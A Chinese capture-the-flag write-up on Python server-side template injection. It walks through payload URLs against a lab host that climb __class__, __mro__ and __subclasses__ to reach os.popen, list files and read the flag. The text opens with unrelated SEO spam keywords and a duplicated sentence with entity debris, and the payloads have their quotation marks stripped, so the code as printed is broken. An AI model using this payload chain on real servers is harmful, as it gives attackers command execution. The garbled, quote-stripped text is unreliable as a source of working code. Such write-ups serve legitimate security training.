厦门模版网站,西宁网站建设兼职,wordpress wumi,成app短视频源码下载1.Web_python_template_injection
{{}}是变量包裹标识符#xff0c;里面存放的是一个变量#xff0c;当你输入 http://61.147.171.105:55121/{{8*8}} 执行成功#xff0c;说明存在模版注入。接下来#xff0c;开始想办法编代码拿到服务器的控制台权限 。
首先#xff0c…1.Web_python_template_injection
{{}}是变量包裹标识符里面存放的是一个变量当你输入 http://61.147.171.105:55121/{{8*8}} 执行成功说明存在模版注入。接下来开始想办法编代码拿到服务器的控制台权限 。
首先题目告诉我们这是一个 python 注入问题那么脚本肯定也是 python 的思考怎样用 python 语句获取控制台权限 python调用Shell脚本有两种方法os.system() 和 os.popen() 前者返回值是脚本的退出状态码后者的返回值是脚本执行过程中的输出内容以 file 形式返回。 所以选择 os.popen 。 知识点 __class__获取到当前实例对应的类 python中新式类也就是显示继承object对象的类都有一个属性__class__可以获取到当前实例对应的类随便选择一个简单的新式类实例比如 一个空字符串就是一个新式类实例所以 .__class__ 就可以获取到实例对应的类. http://61.147.171.105:55121/{{.__class__}} 告诉我们这个变量的类是 str 。
接下来从这个类找到它的基类 http://61.147.171.105:55121/{{.__class__.__mro__}} .__class__.__mro__获取当前类对象的所有继承类 从结果中可以发现 对应的类对象 str 继承的顺序是 basestring-object。
然后通过基类来找其中任意一个基类的引用列表 http://61.147.171.105:55121/{{.__class__.__mro__[2].__subclasses__()}} __mro__[ ] 中括号里填谁其实区别都不大这些基类引用的东西都一样的。 找到我们想要的 os 所在的 site._Printer 类它在列表的第七十二位 即 __subclasses__()[71] 。 http://61.147.171.105:55121/{{.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(ls).read()}} 这里的 popen(ls).read() 意思是得到 ls 的结果并读取给变量因此它会把当前目录所有文件都打印在我们的网页上 . 联系题目明显的是后端有一个flag文件需要open然后print出来或者使用命令行cat 查看。
从这里我们看到flag 存在一个叫 fl4g 的无后缀文件里再构造一个 payload用 cat 读取内容 http://61.147.171.105:55121/{{.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(cat fl4g).read()}}